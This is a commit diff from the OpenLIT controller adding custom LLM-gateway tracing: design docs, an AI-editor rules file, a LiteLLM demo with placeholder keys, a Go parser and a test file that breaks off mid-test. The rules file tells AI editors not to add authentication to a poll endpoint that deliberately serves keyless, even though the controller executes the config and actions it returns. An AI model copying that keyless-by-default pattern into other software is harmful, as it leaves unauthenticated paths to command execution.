Skip to content

Same agent Smaller bill. The tools and infrastructure to get more work from your AI. Fewer tokens. Less compute. Lower cost.

feat(controller): custom LLM gateway support (#1208)

Aman Agarwal8b7566294594
diff --git a/.cursor/rules/controller-design.mdc b/.cursor/rules/controller-design.mdc
new file mode 100644
index 00000000..85d2f2fb
--- /dev/null
+++ b/.cursor/rules/controller-design.mdc
@@ -0,0 +1,119 @@
+---
+description: Design principles and invariants for the OpenLIT controller (Go agent that discovers + instruments LLM workloads via eBPF/OBI + SDK injection) and the Agents-page server layer that consumes its data. Use when modifying openlit-controller/** or the controller/agents backend in src/client.
+globs: openlit-controller/**/*.go,openlit-controller/patches/*.patch,openlit-controller/_obi-providers/**/*.go,src/client/src/app/api/controller/**/*.ts,src/client/src/app/api/agents/**/*.ts,src/client/src/lib/platform/controller/**/*.ts,src/client/src/lib/platform/agents/**/*.ts
+alwaysApply: false
+---
+
+# OpenLIT Controller — Design Principles & Invariants
+
+The controller (`openlit-controller/`, Go) is a node/cluster agent that:
+1. **Discovers** processes talking to LLM endpoints via an eBPF scanner (kprobe on
+ `tcp_connect` + `/proc/net/tcp` connscan), keyed on destination **IP+port**.
+2. **Instruments** discovered workloads two ways: OBI (eBPF payload extraction,
+ built from upstream + our `patches/`) and Python-SDK injection
+ (docker/k8s/systemd/bare).
+3. **Reports** to the OpenLIT backend via a poll loop; the backend materializes
+ the data into the Agents page.
+
+Full rationale: see `openlit-controller/DESIGN.md`. The rules below are
+**invariants** — violating one re-introduces a real bug we have already hit.
+
+## 1. Service naming — the controller is the single naming authority
+
+- A workload's `service.name` is resolved ONCE at discovery (`EnrichProcess`).
+ Precedence: a user-set `OTEL_SERVICE_NAME` / `service.name` in the process env
+ WINS; otherwise container name (docker/k8s) or process name.
+- **All three emission paths must agree on that name:** discovery heartbeat, OBI
+ (`entry.Name = svc.ServiceName` in ALL modes), and SDK injection
+ (`OTEL_SERVICE_NAME=svc.ServiceName`). If they diverge, traces don't match the
+ Agents summary row and the detail tabs render empty.
+- The Agents detail tabs match eBPF traces to an agent by `service_name`
+ equality (eBPF spans carry no `service.workload.key`), so the names MUST match.
+
+## 2. Workload identity must be infrastructure-derived, never user-overridable
+
+- The dedup key is `service_name` (`agent_key = sha1(cluster|env|service_name)`)
+ on the controller side, and `workload_key` for SDK↔controller merge.
+- `buildWorkloadKey` / `stableContainerName` must derive from infra only
+ (container name → container ID → pod/deployment/namespace). **Never** fall back
+ to `meta.ServiceName` for the key — it can be overridden by `OTEL_SERVICE_NAME`,
+ and a key that shifts on env change produces a **duplicate agent listing**.
+- Keep the key stable across restarts (so a restart updates the same row). In
+ Docker/K8s pin identity to container/pod; for the dev compose set a stable
+ `OPENLIT_INSTANCE_ID`.
+
+## 3. Everything from the poll response / config is UNTRUSTED input
+
+- The poll `config` and action payloads are attacker-influenceable and are
+ EXECUTED by the controller. Validate at the ingress, before any use:
+ - `sdk_version` is interpolated into `pip install` (incl. shell strings) — it
+ MUST match the PEP 440 grammar `^[A-Za-z0-9][A-Za-z0-9._+-]*$` (validated in
+ `EnablePythonSDK`, defended again in `pypiPackageSpec`). Never relax this.
+ - The backend `validateControllerConfig` sanitizes the config (types, size
+ caps, control-char strip) before persisting — it is writable by any
+ authenticated user. Keep it in sync with `ControllerConfig`; new config
+ fields must be added there or they are silently dropped.
+ - The poll route coerces/caps every service field before the ClickHouse insert.
+
+## 4. Never break out of a target sink with unescaped input
+
+- systemd drop-ins: `escapeSystemdValue` must escape `\` then `"` then strip
+ CR/LF + control chars (a newline injects a new unit directive).
+- ClickHouse string literals: use `escapeClickHouseString` (the single shared
+ helper in `src/lib/clickhouse-escape.ts`) for EVERY interpolated value. Do not
+ re-add per-file `escape()` copies. Prefer parameterized inserts (JSONEachRow).
+- Container selection: match the target container by name exactly; on a
+ specified-but-unmatched name, ERROR — never silently fall back to container[0].
+
+## 5. OBI subprocess lifecycle
+
+- `OBIManager` auto-restarts on unexpected exit. An INTENTIONAL stop must set the
+ `stopping` flag (under lock) BEFORE signalling SIGTERM — `Stop()` signals
+ before `cancel()`, so the wait goroutine would otherwise see `ctx.Err()==nil`
+ and resurrect a just-stopped OBI. `Start` resets the flag.
+- OBI config changes (providers, custom hosts, export endpoint) take effect only
+ via `rebuildOBI`; any setter that affects OBI config must call it when running.
+- `custom_llm_hosts` feed BOTH the eBPF scanner (discovery) AND OBI
+ `GenAI.Custom.Hosts` (the host-gated custom extractor). Update both.
+
+## 6. Concurrency
+
+- Maps shared between the refresh loop and scan loop (e.g. `ConnScanner`
+ endpoints) are replaced wholesale under a lock and read via a snapshot — never
+ mutate a shared map in place.
+- Channel consumers must handle close (`v, ok := <-ch`), not spin on zero values.
+- `snapshotService` and any "defensive copy" must deep-copy slices AND maps;
+ a struct copy shares slice backing arrays with the live engine state.
+
+## 7. OBI patches (`patches/` + `_obi-providers/`)
+
+- We build OBI from a pinned upstream tag (`OBI_BRANCH` in `Dockerfile`) and
+ apply `patches/{config,span,http_transform}.patch` + vendored `_obi-providers/`.
+ Bumping the version = re-rebasing the 3 patches; verify they `git apply` on a
+ fresh clone and that the obi-builder compiles.
+- GenAI message attributes MUST follow the strict semantic-conventions structure
+ (`gen_ai.input.messages`/`output.messages` = `[{role, parts:[{type,content}]}]`,
+ output adds `finish_reason`; `gen_ai.system_instructions` = flat parts array).
+ Operation names are normalized (`chat.completion` → `chat`). Span name is
+ `"<operation> <model>"`.
+- The OBI attribute-select list (`obi.go`) must use the EXACT semconv keys
+ (`gen_ai.system_instructions`, underscore — not `gen_ai.system.instructions`),
+ or the attribute is silently dropped.
+- Custom-gateway extraction is detected by the request's destination
+ host:port matching `custom_llm_hosts` — NOT by path or vendor headers. Custom
+ gateways may serve on arbitrary paths (e.g. `/testchat`); do not gate on path.
+
+## 8. Controller ↔ backend auth (intentional onboarding behavior)
+
+- The poll endpoint requires a valid API key IF any API key exists; if none has
+ been created yet it serves keyless (to speed first-run onboarding). This is
+ deliberate — do NOT "harden" it into always-required; the keyless path closes
+ automatically the moment the first key is created.
+
+## 9. Robustness
+
+- Backend down / OBI missing / BPF load fail must degrade gracefully (poll
+ backoff; discovery disabled; API still serves) — never crash the controller.
+- Destructive workload operations (naked-pod recreate = delete+create) must
+ capture the original spec (logged) and retry rollback; treat the delete→create
+ window as the danger zone.
diff --git a/.github/workflows/controller-tests.yml b/.github/workflows/controller-tests.yml
index 437ee560..2bac2f0b 100644
--- a/.github/workflows/controller-tests.yml
+++ b/.github/workflows/controller-tests.yml
@@ -37,7 +37,10 @@ jobs:
set -euo pipefail
sudo apt-get update -q
sudo apt-get install -y clang llvm libbpf-dev
- curl -fsSL "https://github.com/libbpf/bpftool/releases/download/${BPFTOOL_VERSION}/bpftool-${BPFTOOL_VERSION}-amd64.tar.gz" \
+ # GitHub release-assets occasionally return transient 504s; retry before
+ # piping into tar (a truncated body produces a misleading gzip error).
+ curl -fsSL --retry 5 --retry-all-errors --retry-delay 5 \
+ "https://github.com/libbpf/bpftool/releases/download/${BPFTOOL_VERSION}/bpftool-${BPFTOOL_VERSION}-amd64.tar.gz" \
| sudo tar -xz -C /usr/local/bin/
sudo chmod +x /usr/local/bin/bpftool
/usr/local/bin/bpftool version
diff --git a/examples/litellm-chat-app/Dockerfile b/examples/litellm-chat-app/Dockerfile
new file mode 100644
index 00000000..026ef554
--- /dev/null
+++ b/examples/litellm-chat-app/Dockerfile
@@ -0,0 +1,6 @@
+FROM python:3.11-slim
+WORKDIR /app
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+COPY app.py .
+CMD ["python", "-u", "app.py"]
diff --git a/examples/litellm-chat-app/app.py b/examples/litellm-chat-app/app.py
new file mode 100644
index 00000000..ac3e7396
--- /dev/null
+++ b/examples/litellm-chat-app/app.py
@@ -0,0 +1,30 @@
+import os
+import time
+
+import openai
+
+# Point a standard OpenAI client at the self-hosted LiteLLM proxy (an
+# OpenAI-compatible LLM gateway). The controller's eBPF scanner discovers the
+# connection to the proxy host:port (configured via custom_llm_hosts), and OBI's
+# custom (OpenAI-compatible) extractor parses the payload.
+BASE_URL = os.environ.get("LITELLM_BASE_URL", "http://litellm:4000")
+API_KEY = os.environ.get("LITELLM_API_KEY", "sk-1234")
+MODEL = os.environ.get("MODEL", "gpt-4o-mini")
+INTERVAL = int(os.environ.get("REQUEST_INTERVAL_SECONDS", "30"))
+
+client = openai.OpenAI(base_url=BASE_URL, api_key=API_KEY)
+
+print(f"LiteLLM proxy test app starting -- calling {BASE_URL} every {INTERVAL}s")
+i = 0
+while True:
+ try:
+ resp = client.chat.completions.create(
+ model=MODEL,
+ messages=[{"role": "user", "content": "hi"}],
+ max_tokens=10,
+ )
+ print(f"[{i}] -> {resp.choices[0].message.content}")
+ except Exception as e:
+ print(f"[{i}] Error: {e}")
+ i += 1
+ time.sleep(INTERVAL)
diff --git a/examples/litellm-chat-app/requirements.txt b/examples/litellm-chat-app/requirements.txt
new file mode 100644
index 00000000..ec838c5a
--- /dev/null
+++ b/examples/litellm-chat-app/requirements.txt
@@ -0,0 +1 @@
+openai
diff --git a/examples/litellm-config/config.yaml b/examples/litellm-config/config.yaml
new file mode 100644
index 00000000..1cdcb0e7
--- /dev/null
+++ b/examples/litellm-config/config.yaml
@@ -0,0 +1,17 @@
+# LiteLLM proxy config for the dev demo. Uses mock_response so the gateway is
+# fully functional without any real provider API key: it returns a canned
+# OpenAI-format completion. This lets the controller discover the connection to
+# the proxy (custom_llm_hosts) AND lets OBI's custom (OpenAI-compatible)
+# extractor parse a real, well-formed response payload.
+model_list:
+ - model_name: gpt-4o-mini
+ litellm_params:
+ model: gpt-4o-mini
+ api_key: "sk-mock"
+ mock_response: "Hello from the LiteLLM proxy (mock response)."
+
+general_settings:
+ master_key: sk-1234
+
+litellm_settings:
+ drop_params: true
diff --git a/openlit-controller/DESIGN.md b/openlit-controller/DESIGN.md
new file mode 100644
index 00000000..cfd4c386
--- /dev/null
+++ b/openlit-controller/DESIGN.md
@@ -0,0 +1,124 @@
+# OpenLIT Controller — Design
+
+This document explains how the controller works and the design principles that
+keep it correct. A condensed, enforceable version lives in
+`.cursor/rules/controller-design.mdc` (auto-attached when editing controller or
+Agents-backend code). Read this for the "why"; read the rule for the "must".
+
+---
+
+## What the controller is
+
+A node-level (Linux/Docker) or cluster-level (Kubernetes) agent that gives
+zero-code LLM observability. Three responsibilities:
+
+1. **Discovery** — an eBPF scanner detects processes connecting to LLM
+ endpoints and reports them as "discovered" workloads.
+2. **Instrumentation** — on request, it instruments a workload via either:
+ - **OBI** (OpenTelemetry eBPF Instrumentation) for eBPF payload extraction, or
+ - **Python SDK injection** (recreating the container / patching the unit with
+ `OTEL_*` env + a bootstrapped `openlit` package).
+3. **Reporting** — a poll loop sends discovered/instrumented state to the OpenLIT
+ backend and receives pending actions + config. The backend materializes this
+ into the Agents page.
+
+```
+ process ──(tcp connect)──▶ LLM endpoint
+ │ ▲
+ eBPF scanner (kprobe+connscan, IP:port match)
+ │ LLMConnectEvent
+ ▼
+ Engine ── discovered ──▶ poll ──▶ OpenLIT backend ──▶ materializer ──▶ Agents page
+ │
+ ├── OBI subprocess (payload extraction) ──▶ OTLP ──▶ collector
+ └── Python SDK injection (docker/k8s/systemd/bare)
+```
+
+---
+
+## Layers
+
+### Discovery (`internal/scanner/`, Linux-only)
+- eBPF kprobe on `tcp_v4/v6_connect` + a `/proc/net/tcp` connscan catch both new
+ and pre-existing (keep-alive) connections.
+- Endpoints are keyed on **IP+port** (BPF map `llm_endpoints`), so self-hosted
+ proxies on non-443 ports (LiteLLM :4000, Ollama :11434, vLLM :8000) are matched
+ without flagging unrelated traffic to a shared IP.
+- Built-in SaaS hosts are resolved by DNS; user `custom_llm_hosts` are added at
+ runtime. The resolver reconciles the BPF map with stale-key pruning.
+
+### Engine (`internal/engine/`)
+- Owns the service registry, OBI manager, container enricher, and the action
+ handlers (instrument/uninstrument, SDK enable/disable, lifecycle start/stop/restart).
+- `EnrichProcess` resolves identity + metadata for a PID from `/proc` (+ Docker/K8s).
+
+### Backend contract (`internal/openlit/`, `cmd/controller/main.go`)
+- `Poll` sends `PollRequest` (instance + services + action results), receives
+ `PollResponse` (pending actions + config). Config is applied only when changed.
+
+### OBI build (`Dockerfile`, `patches/`, `_obi-providers/`)
+- OBI is built from a pinned upstream tag; our `patches/` add GenAI providers and
+ semconv alignment, and `_obi-providers/` vendors standalone parsers (custom,
+ ollama). See `patches/README.md`.
+
+---
+
+## Design principles (the "why")
+
+### Naming authority
+The controller discovers a workload *before* OBI runs, so it is the authority on
+`service.name`. It resolves the name once and feeds it to all emitters (OBI
+target name, SDK `OTEL_SERVICE_NAME`). A user's explicit `OTEL_SERVICE_NAME`
+wins, so we never fight an operator's choice. **Why it matters:** the Agents
+detail tabs join eBPF traces to an agent by `service_name` equality; if OBI emits
+a different name than the controller reported, the workload shows up but its
+Overview/Dashboard/Monitoring tabs are empty.
+
+### Identity vs. name are different concerns
+`service_name` is for display + matching; `workload_key` is for dedup/identity.
+Identity must be **infrastructure-derived** (container/pod), never the
+user-overridable name — otherwise enabling `OTEL_SERVICE_NAME` shifts the key and
+the UI shows the same workload twice. Identity must also be stable across
+restarts so a restart updates the same row.
+
+### Untrusted input boundary
+The poll `config` and action payloads come from the backend and are *executed*
+by the controller (pip installs, env injection, workload lifecycle). They are
+treated as untrusted: `sdk_version` is grammar-validated before it can reach a
+shell; the backend validates/sanitizes the whole config before persisting; the
+poll body is coerced/capped before the ClickHouse insert.
+
+### Don't break out of sinks
+Any value embedded into a structured sink (systemd unit, ClickHouse SQL literal,
+pip arg, container selector) is escaped/validated for that sink. One shared
+ClickHouse escaper; systemd escaping strips line breaks; container match is exact.
+
+### OBI lifecycle
+OBI auto-restarts on crash, so an intentional stop must declare intent (the
+`stopping` flag) before signalling, or the supervisor resurrects it. All OBI
+config changes flow through `rebuildOBI`.
+
+### Onboarding-friendly auth
+The poll endpoint requires an API key once one exists, but serves keyless before
+the first key is created — a deliberate trade-off to make first-run fast. It
+closes automatically when the operator creates a key.
+
+### Graceful degradation
+Backend unreachable, OBI binary missing, BPF load failure — each degrades a
+capability without crashing the controller.
+
+---
+
+## Gotchas / history (bugs we've hit — don't reintroduce)
+
+- OBI auto-restarted a workload that was just *stopped* because `Stop()` signals
+ SIGTERM before `cancel()` → fixed with the `stopping` flag.
+- Agents tabs were empty because OBI emitted `litellm-app` while discovery
+ reported `demo-litellm-app` → fixed by making the controller the naming authority.
+- `gen_ai.system_instructions` was dropped because the attribute-select list used
+ the dotted (`gen_ai.system.instructions`) key instead of the underscore semconv key.
+- `custom_llm_hosts` changes didn't reach OBI (no `rebuildOBI`) → fixed.
+- A user `OTEL_SERVICE_NAME` could leak into the K8s workload key
+ (`stableContainerName` fell back to ServiceName) → fixed to infra-only.
+- `sdk_version` from the poll payload was interpolated into a shell → RCE; now
+ grammar-validated at ingress.
diff --git a/openlit-controller/Dockerfile b/openlit-controller/Dockerfile
index c9bd60ff..86196bbf 100644
--- a/openlit-controller/Dockerfile
+++ b/openlit-controller/Dockerfile
@@ -2,10 +2,13 @@
FROM ghcr.io/open-telemetry/obi-generator:0.2.11 AS obi-builder
ARG OBI_REPO=https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git
-ARG OBI_BRANCH=v0.8.0
+ARG OBI_BRANCH=v0.9.0
ARG TARGETARCH
ENV GOARCH=${TARGETARCH}
+# OBI v0.9.0 requires Go >= 1.25.9, newer than the obi-generator base image's
+# pinned toolchain. Allow Go to auto-download the toolchain its go.mod requests.
+ENV GOTOOLCHAIN=auto
WORKDIR /obi-src
@@ -13,6 +16,16 @@ RUN apk add --no-cache make git bash
RUN git clone --depth 1 --branch ${OBI_BRANCH} ${OBI_REPO} .
+# Vendor our standalone provider parsers (new files, not patches) into the OBI
+# HTTP package, then apply patches that wire them in + add config/span fields.
+COPY _obi-providers/ /tmp/providers/
+RUN for gofile in /tmp/providers/*/*.go; do \
+ [ -f "$gofile" ] || continue; \
+ case "$gofile" in *_test.go) continue;; esac; \
+ echo "Vendoring $gofile"; \
+ cp "$gofile" pkg/ebpf/common/http/; \
+ done
+
COPY patches/ /tmp/patches/
RUN for patch in /tmp/patches/*.patch; do \
[ -f "$patch" ] || continue; \
diff --git a/openlit-controller/Makefile b/openlit-controller/Makefile
index 6ed61159..d4149aff 100644
--- a/openlit-controller/Makefile
+++ b/openlit-controller/Makefile
@@ -62,7 +62,7 @@ vendor-providers:
@echo "==> Checking out OBI submodule..."
git submodule update --init --checkout .obi-src
@echo "==> Copying provider parser files..."
- @for dir in providers/*/; do \
+ @for dir in _obi-providers/*/; do \
provider=$$(basename $$dir); \
for gofile in $$dir*.go; do \
[ -f "$$gofile" ] || continue; \
diff --git a/openlit-controller/_obi-providers/custom/custom.go b/openlit-controller/_obi-providers/custom/custom.go
new file mode 100644
index 00000000..52d5314b
--- /dev/null
+++ b/openlit-controller/_obi-providers/custom/custom.go
@@ -0,0 +1,375 @@
+// Copyright The OpenTelemetry Authors
+// SPDX-License-Identifier: Apache-2.0
+
+package ebpfcommon // import "go.opentelemetry.io/obi/pkg/ebpf/common/http"
+
+import (
+ "bytes"
+ "encoding/json"
+ "io"
+ "log/slog"
+ "net/http"
+ "strconv"
+ "strings"
+
+ "go.opentelemetry.io/obi/pkg/appolly/app/request"
+)
+
+// customHostMatches reports whether a captured request's destination
+// (host + port, as seen on the connection) matches one of the configured
+// gateway specs. Each spec is "host:port" or bare "host" (any port). The
+// captured host may be an IP or a DNS name depending on how the client dialed,
+// so we match the spec host against both the connection Host and the HTTP
+// Host header.
+func customHostMatches(specs []string, connHost, headerHost string, port int) bool {
+ connHost = strings.ToLower(strings.TrimSpace(connHost))
+ headerHost = stripPort(strings.ToLower(strings.TrimSpace(headerHost)))
+
+ for _, spec := range specs {
+ spec = strings.ToLower(strings.TrimSpace(spec))
+ if spec == "" {
+ continue
+ }
+ specHost := spec
+ specPort := ""
+ if h, p, ok := splitHostPort(spec); ok {
+ specHost, specPort = h, p
+ }
+ // Port must match when the spec pins one.
+ if specPort != "" && specPort != strconv.Itoa(port) {
+ continue
+ }
+ if specHost == "" {
+ continue
+ }
+ if specHost == connHost || specHost == headerHost {
+ return true
+ }
+ }
+ return false
+}
+
+func splitHostPort(s string) (host, port string, ok bool) {
+ i := strings.LastIndexByte(s, ':')
+ if i < 0 {
+ return s, "", false
+ }
+ // Avoid mistaking a bare IPv6 literal for host:port.
+ if strings.IndexByte(s, ':') != i {
+ return s, "", false
+ }
+ return s[:i], s[i+1:], true
+}
+
+func stripPort(s string) string {
+ if h, _, ok := splitHostPort(s); ok {
+ return h
+ }
+ return s
+}
+
+// --- GenAI semantic-conventions message normalization ---
+//
+// The semconv (github.com/open-telemetry/semantic-conventions-genai) defines a
+// strict structure for gen_ai.input.messages, gen_ai.output.messages and
+// gen_ai.system_instructions:
+//
+// input/output messages: [{ "role": <role>, "parts": [ <part>, ... ],
+// "finish_reason": <reason> // output only
+// }]
+// system_instructions: [ <part>, ... ] // a flat array of parts
+// part (text): { "type": "text", "content": <string> }
+// part (tool_call): { "type": "tool_call", "id": <id>, "name": <name>,
+// "arguments": <obj> }
+// part (tool_call_resp): { "type": "tool_call_response", "id": <id>,
+// "response": <any> }
+//
+// We map the OpenAI-compatible wire format (messages[].content, tool_calls,
+// choices[].message) into this structure. Mirrors upstream OBI #2005.
+
+type scPart struct {
+ Type string `json:"type"`
+ Content string `json:"content,omitempty"`
+ ID string `json:"id,omitempty"`
+ Name string `json:"name,omitempty"`
+ Arguments json.RawMessage `json:"arguments,omitempty"`
+ Response json.RawMessage `json:"response,omitempty"`
+}
+
+type scMessage struct {
+ Role string `json:"role"`
+ Parts []scPart `json:"parts"`
+ FinishReason string `json:"finish_reason,omitempty"`
+}
+
+// openAIMessage mirrors one entry of the OpenAI chat `messages` array. content
+// is either a plain string or an array of typed content parts.
+type openAIMessage struct {
+ Role string `json:"role"`
+ Content json.RawMessage `json:"content"`
+ ToolCallID string `json:"tool_call_id"`
+ ToolCalls []struct {
+ ID string `json:"id"`
+ Function struct {
+ Name string `json:"name"`
+ Arguments json.RawMessage `json:"arguments"`
+ } `json:"function"`
+ } `json:"tool_calls"`
+}
+
+type openAIContentPart struct {
+ Type string `json:"type"`
+ Text string `json:"text"`
+}
+
+// contentToParts converts an OpenAI message `content` (string or parts array)
+// into semconv text parts.
+func contentToParts(raw json.RawMessage) []scPart {
+ if len(raw) == 0 {
+ return nil
+ }
+ // String content.
+ var s string
+ if err := json.Unmarshal(raw, &s); err == nil {
+ if s == "" {
+ return nil
+ }
+ return []scPart{{Type: "text", Content: s}}
+ }
+ // Array of content parts (multimodal). Capture text parts; other modalities
+ // are summarized as a generic text marker so the structure stays valid.
+ var arr []openAIContentPart
+ if err := json.Unmarshal(raw, &arr); err == nil {
+ parts := make([]scPart, 0, len(arr))
+ for _, p := range arr {
+ switch p.Type {
+ case "text", "input_text", "output_text", "":
+ if p.Text != "" {
+ parts = append(parts, scPart{Type: "text", Content: p.Text})
+ }
+ default:
+ parts = append(parts, scPart{Type: "text", Content: "[" + p.Type + "]"})
+ }
+ }
+ return parts
+ }
+ return nil
+}
+
+func messageToParts(m openAIMessage) []scPart {
+ // A tool-result message ("role":"tool" with tool_call_id) carries the tool
+ // response as its content.
+ if m.ToolCallID != "" {
+ return []scPart{{Type: "tool_call_response", ID: m.ToolCallID, Response: m.Content}}
+ }
+ parts := contentToParts(m.Content)
+ for _, tc := range m.ToolCalls {
+ parts = append(parts, scPart{
+ Type: "tool_call",
+ ID: tc.ID,
+ Name: tc.Function.Name,
+ Arguments: tc.Function.Arguments,
+ })
+ }
+ return parts
+}
+
+// normalizeInputMessages builds gen_ai.input.messages. System-role messages are
+// excluded here (they belong in system_instructions). Falls back to wrapping a
+// plain prompt/input string when the request used the completions/responses API.
+func normalizeInputMessages(messages json.RawMessage, prompt, input string) string {
+ var msgs []openAIMessage
+ if len(messages) > 0 {
+ _ = json.Unmarshal(messages, &msgs)
+ }
+ out := make([]scMessage, 0, len(msgs))
+ for _, m := range msgs {
+ if m.Role == "system" || m.Role == "developer" {
+ continue
+ }
+ parts := messageToParts(m)
+ if len(parts) == 0 {
+ continue
+ }
+ out = append(out, scMessage{Role: m.Role, Parts: parts})
+ }
+ if len(out) == 0 {
+ text := prompt
+ if text == "" {
+ text = input
+ }
+ if text == "" {
+ return ""
+ }
+ out = append(out, scMessage{Role: "user", Parts: []scPart{{Type: "text", Content: text}}})
+ }
+ return marshalSC(out)
+}
+
+// openAIChoice mirrors one entry of a chat-completions `choices` array.
+type openAIChoice struct {
+ FinishReason string `json:"finish_reason"`
+ Message openAIMessage `json:"message"`
+ Text string `json:"text"` // legacy /completions
+}
+
+// normalizeOutputMessages builds gen_ai.output.messages from response choices.
+func normalizeOutputMessages(choices json.RawMessage) string {
+ if len(choices) == 0 {
+ return ""
+ }
+ var arr []openAIChoice
+ if err := json.Unmarshal(choices, &arr); err != nil {
+ return ""
+ }
+ out := make([]scMessage, 0, len(arr))
+ for _, c := range arr {
+ role := c.Message.Role
+ if role == "" {
+ role = "assistant"
+ }
+ parts := messageToParts(c.Message)
+ if len(parts) == 0 && c.Text != "" {
+ parts = []scPart{{Type: "text", Content: c.Text}}
+ }
+ out = append(out, scMessage{Role: role, Parts: parts, FinishReason: c.FinishReason})
+ }
+ if len(out) == 0 {
+ return ""
+ }
+ return marshalSC(out)
+}
+
+// normalizeSystemInstructions builds gen_ai.system_instructions: a flat array of
+// parts, sourced from any system/developer-role messages plus the Responses API
+// `instructions` field.
+func normalizeSystemInstructions(messages json.RawMessage, instructions string) string {
+ var parts []scPart
+ if instructions != "" {
+ parts = append(parts, scPart{Type: "text", Content: instructions})
+ }
+ if len(messages) > 0 {
+ var msgs []openAIMessage
+ if err := json.Unmarshal(messages, &msgs); err == nil {
+ for _, m := range msgs {
+ if m.Role == "system" || m.Role == "developer" {
+ parts = append(parts, contentToParts(m.Content)...)
+ }
+ }
+ }
+ }
+ if len(parts) == 0 {
+ return ""
+ }
+ b, err := json.Marshal(parts)
+ if err != nil {
+ return ""
+ }
+ return string(b)
+}
+
+func marshalSC(msgs []scMessage) string {
+ b, err := json.Marshal(msgs)
+ if err != nil {
+ return ""
+ }
+ return string(b)
+}
+
+// normalizeGenAIOperation maps raw OpenAI-compatible response "object" values to
+// the GenAI semconv gen_ai.operation.name. Mirrors upstream OBI's normalization
+// (PR #2005) so custom-gateway spans match the names used elsewhere on the
+// platform (e.g. "chat", not "chat.completion").
+func normalizeGenAIOperation(op string) string {
+ switch op {
+ case "chat.completion", "chat.completion.chunk":
+ return "chat"
+ case "text_completion":
+ return "text_completion"
+ case "list", "embedding":
+ return "embeddings"
+ default:
+ return op
+ }
+}
+
+// CustomSpan parses traffic to a configured custom OpenAI-compatible gateway
+// (LiteLLM, vLLM, LocalAI, OpenRouter, ...). It is gated on the request's
+// destination matching one of `hosts` (the dashboard's custom_llm_hosts), then
+// parses the OpenAI-shaped request/response. Unlike OpenAISpan it does NOT
+// require OpenAI-proprietary response headers, which self-hosted gateways do
+// not emit. Returns ok=false when the destination is not a configured gateway
+// or the body is not OpenAI-shaped.
+func CustomSpan(baseSpan *request.Span, hosts []string, req *http.Request, resp *http.Response) (request.Span, bool) {
+ if len(hosts) == 0 {
+ return *baseSpan, false
+ }
+
+ headerHost := ""
+ if req.URL != nil {
+ headerHost = req.Host
+ }
+ if !customHostMatches(hosts, baseSpan.Host, headerHost, baseSpan.HostPort) {
+ return *baseSpan, false
+ }
+
+ reqB, err := io.ReadAll(req.Body)
+ if err != nil {
+ return *baseSpan, false
+ }
+ req.Body = io.NopCloser(bytes.NewBuffer(reqB))
+
+ respB, err := getResponseBody(resp)
+ if err != nil && len(respB) == 0 {
+ return *baseSpan, false
+ }
+
+ slog.Debug("Custom GenAI gateway", "request", string(reqB), "response", string(respB))
+
+ var parsedRequest request.OpenAIInput
+ if err := json.Unmarshal(reqB, &parsedRequest); err != nil {
+ slog.Debug("failed to parse custom gateway request", "error", err)
+ }
+
+ var parsedResponse request.VendorOpenAI
+ if err := json.Unmarshal(respB, &parsedResponse); err != nil {
+ slog.Debug("failed to parse custom gateway response", "error", err)
+ }
+
+ parsedResponse.Request = parsedRequest
+
+ // OperationName is parsed from the OpenAI-compatible response body's "object"
+ // field (e.g. "chat.completion") via VendorOpenAI's struct tag — like the
+ // OpenAI parser, and independent of the request path. A gateway serving chat
+ // on a non-standard path (e.g. /testchat) is still named correctly as long as
+ // the body is OpenAI-shaped.
+ //
+ // Fallback to a path hint only when the body carried no "object" (rare, e.g.
+ // streamed responses); never used as a gate.
+ if parsedResponse.OperationName == "" && req.URL != nil {
+ p := strings.TrimSuffix(req.URL.Path, "/")
+ switch {
+ case strings.HasSuffix(p, "/embeddings"):
+ parsedResponse.OperationName = "embeddings"
+ case strings.HasSuffix(p, "/chat/completions"):
+ parsedResponse.OperationName = "chat.completion"
+ case strings.HasSuffix(p, "/completions"):
+ parsedResponse.OperationName = "text_completion"
+ }
+ }
+ // Normalize raw OpenAI object values to the GenAI semconv operation names
+ // (gen_ai.operation.name), matching upstream OBI #2005: "chat.completion" -> "chat".
+ parsedResponse.OperationName = normalizeGenAIOperation(parsedResponse.OperationName)
+
+ baseSpan.SubType = request.HTTPSubtypeCustom
+ baseSpan.GenAI = &request.GenAI{
+ Custom: &parsedResponse,
+ // Message bodies are normalized to the GenAI semantic-conventions
+ // structure (role + parts[]), NOT emitted as the raw OpenAI shape.
+ CustomInputMessages: normalizeInputMessages(parsedRequest.Messages, parsedRequest.Prompt, parsedRequest.Input),
+ CustomOutputMessages: normalizeOutputMessages(parsedResponse.Choices),
+ CustomSystemInstructions: normalizeSystemInstructions(parsedRequest.Messages, parsedRequest.Instructions),
+ }
+
+ return *baseSpan, true
+}
diff --git a/openlit-controller/_obi-providers/custom/custom_test.go b/openlit-controller/_obi-providers/custom/custom_test.go
new file mode 100644
index 00000000..1a450e9c
--- /dev/null
+++ b/openlit-controller/_obi-providers/custom/custom_test.go
@@ -0,0 +1,212 @@
+// Copyright The OpenTelemetry Authors
+// SPDX-License-Identifier: Apache-2.0
+
+package ebpfcommon
+
+import (
+ "bytes"
+ "encoding/json"
+ "io"
+ "net/http"
+ "net/url"
+ "strings"
+ "testing"
+
+ "go.opentelemetry.io/obi/pkg/appolly/app/request"
+)
+
+func customReqResp(path, host, reqBody, respBody string) (*http.Request, *http.Response) {
+ req := &http.Request{
+ Method: "POST",
+ URL: &url.URL{Path: path},
+ Host: host,
+ Body: io.NopCloser(strings.NewReader(reqBody)),
+ Header: http.Header{},
+ }
+ resp := &http.Response{
+ StatusCode: 200,
+ Body: io.NopCloser(strings.NewReader(respBody)),
+ Header: http.Header{},
+ }
+ return req, resp
+}
+
+const openAIShapedResp = `{"object":"chat.completion","id":"cmpl-1","model":"gpt-4o-mini","choices":[{"finish_reason":"stop","message":{"role":"assistant","content":"hi"}}],"usage":{"prompt_tokens":11,"completion_tokens":7,"total_tokens":18}}`
+const openAIShapedReq = `{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"temperature":0.7}`
+
+// Matches a configured gateway by host:port -> parsed as custom GenAI span.
+func TestCustomSpanHostMatch(t *testing.T) {
+ base := &request.Span{Type: request.EventTypeHTTPClient, Host: "172.24.0.3", HostPort: 4000}
+ req, resp := customReqResp("/chat/completions", "litellm:4000", openAIShapedReq, openAIShapedResp)
+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))
+
+ span, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp)
+ if !ok {
+ t.Fatal("expected CustomSpan to match configured gateway litellm:4000")
+ }
